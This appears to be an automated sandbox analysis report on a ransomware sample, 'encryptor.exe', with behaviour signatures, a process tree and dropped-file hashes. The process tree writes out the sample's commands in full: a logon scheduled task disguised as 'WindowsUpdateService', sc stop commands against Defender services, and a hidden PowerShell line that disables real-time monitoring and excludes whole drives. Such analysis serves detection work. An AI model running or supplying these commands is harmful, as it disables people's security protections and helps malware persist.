Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    34s
  • max time network
    16s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/09/2026, 16:26

General

  • Target
    encryptor.exe
  • Size 235KB
  • Sample260924-txqekaxt5m
  • SHA256 fb95c1329a3b5434636a985775b10095b38113605c754b1069725ee1103057f9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
  • Renames multiple (1462) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Windows security modification 2 TTPs 8 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 5 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 19 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 6 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\encryptor.exe
    "C:\Users\Admin\AppData\Local\Temp\encryptor.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender TamperProtection settings
    • Windows security modification
    • Adds Run key to start application
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Windows\System32\cmd.exe
      cmd /c schtasks /Create /TN "WindowsUpdateService" /TR "\"C:\Windows\Tasks\WindowsUpdateService.exe\"" /SC ONLOGON /RL HIGHEST /F >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3936
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN "WindowsUpdateService" /TR "\"C:\Windows\Tasks\WindowsUpdateService.exe\"" /SC ONLOGON /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4800
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WinDefend >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\system32\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        PID:2616
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WdNisSvc >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\system32\sc.exe
        sc stop WdNisSvc
        3⤵
        • Launches sc.exe
        PID:4504
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop SecurityHealthService >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1140
      • C:\Windows\system32\sc.exe
        sc stop SecurityHealthService
        3⤵
        • Launches sc.exe
        PID:4944
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop Sense >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Windows\system32\sc.exe
        sc stop Sense
        3⤵
        • Launches sc.exe
        PID:4148
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WdBoot >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\system32\sc.exe
        sc stop WdBoot
        3⤵
        • Launches sc.exe
        PID:3996
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WdFilter >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2004
      • C:\Windows\system32\sc.exe
        sc stop WdFilter
        3⤵
        • Launches sc.exe
        PID:1096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockatFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -EnableControlledFolderAccess Disabled; Add-MpPreference -ExclusionProcess 'encryptor.exe','decryptor.exe'; Add-MpPreference -ExclusionPath 'C:\'; Add-MpPreference -ExclusionPath 'F:\'; "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1812
  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:3048
  • C:\Windows\Tasks\WindowsUpdateService.exe
    "C:\Windows\Tasks\WindowsUpdateService.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender TamperProtection settings
    • Deletes itself
    • Executes dropped EXE
    • Windows security modification
    • Adds Run key to start application
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\System32\cmd.exe
      cmd /c schtasks /Create /TN "WindowsUpdateService" /TR "\"C:\Windows\Tasks\WindowsUpdateService.exe\"" /SC ONLOGON /RL HIGHEST /F >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN "WindowsUpdateService" /TR "\"C:\Windows\Tasks\WindowsUpdateService.exe\"" /SC ONLOGON /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3084
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WinDefend >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Windows\system32\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        PID:1620
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WdNisSvc >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Windows\system32\sc.exe
        sc stop WdNisSvc
        3⤵
        • Launches sc.exe
        PID:3684
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop SecurityHealthService >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\system32\sc.exe
        sc stop SecurityHealthService
        3⤵
        • Launches sc.exe
        PID:4804
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop Sense >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\system32\sc.exe
        sc stop Sense
        3⤵
        • Launches sc.exe
        PID:4684
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WdBoot >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\system32\sc.exe
        sc stop WdBoot
        3⤵
        • Launches sc.exe
        PID:4064
    • C:\Windows\System32\cmd.exe
      cmd /c sc stop WdFilter >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\system32\sc.exe
        sc stop WdFilter
        3⤵
        • Launches sc.exe
        PID:3708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockatFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -EnableControlledFolderAccess Disabled; Add-MpPreference -ExclusionProcess 'encryptor.exe','decryptor.exe'; Add-MpPreference -ExclusionPath 'C:\'; Add-MpPreference -ExclusionPath 'F:\'; "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2284
    • C:\Windows\System32\cmd.exe
      cmd /c schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Windows\system32\schtasks.exe
        schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        3⤵
          PID:4912
      • C:\Windows\System32\cmd.exe
        cmd /c schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5024
        • C:\Windows\system32\schtasks.exe
          schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
          3⤵
            PID:4268
        • C:\Windows\System32\cmd.exe
          cmd /c schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable >nul 2>&1
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:992
          • C:\Windows\system32\schtasks.exe
            schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            3⤵
              PID:4500
          • C:\Windows\System32\cmd.exe
            cmd /c schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable >nul 2>&1
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4592
            • C:\Windows\system32\schtasks.exe
              schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
              3⤵
                PID:4800
            • C:\Windows\System32\cmd.exe
              cmd /c schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Maintenance" /Disable >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4828
              • C:\Windows\system32\schtasks.exe
                schtasks /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Maintenance" /Disable
                3⤵
                  PID:2448
            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
              1⤵
              • Drops file in System32 directory
              • Checks processor information in registry
              • Enumerates system info in registry
              • Modifies data under HKEY_USERS
              • Suspicious use of SetWindowsHookEx
              PID:1788
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
              1⤵
                PID:4064

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 4KB
                    • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 856B
                    • SHA256 5655018b6507e5597519a49d418a5f76fe4280da41fcbd0c9ccf73b4098ccb32
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_grkfvrra.pcn.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_grkfvrra.pcn.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    WindowsUpdateService.exe

                    • Path C:\Windows\Tasks\WindowsUpdateService.exe
                    • Size 235KB
                    • SHA256 fb95c1329a3b5434636a985775b10095b38113605c754b1069725ee1103057f9
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/1812-27-0x000002344B2B0000-0x000002344B2CC000-memory.dmp

                    memory/1812-20-0x000002344B070000-0x000002344B07A000-memory.dmp

                    memory/1812-19-0x000002344B340000-0x000002344B3F3000-memory.dmp

                    memory/1812-28-0x000002344B080000-0x000002344B08A000-memory.dmp

                    memory/1812-29-0x000002344B2F0000-0x000002344B30A000-memory.dmp

                    memory/1812-30-0x000002344B090000-0x000002344B098000-memory.dmp

                    memory/1812-31-0x000002344B2D0000-0x000002344B2D6000-memory.dmp

                    memory/1812-32-0x000002344B2E0000-0x000002344B2EA000-memory.dmp

                    memory/1812-18-0x000002344B050000-0x000002344B06C000-memory.dmp

                    memory/1812-10-0x000002344AFC0000-0x000002344AFE2000-memory.dmp